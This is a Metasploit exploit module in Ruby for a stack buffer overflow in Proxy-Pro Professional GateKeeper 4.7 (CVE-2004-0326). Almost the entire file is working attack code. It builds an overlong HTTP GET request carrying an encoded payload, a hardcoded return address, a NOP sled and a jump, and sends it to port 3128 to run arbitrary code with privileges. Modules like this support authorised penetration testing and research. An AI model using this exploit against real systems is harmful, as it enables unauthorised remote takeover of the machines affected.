##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Proxy-Pro Professional
        GateKeeper 4.7. By sending a long HTTP GET to the default port
        of 3128, a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2004-0326'],
          ['OSVDB', '4027'],
          ['BID', '9716'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00+&=%\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2004-02-23',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3128)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit  = "GET /" + rand_text_english(3603, payload_badchars)
    sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
    sploit += "\xe9" + [-497].pack('V') +  " HTTP/1.0" + "\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end
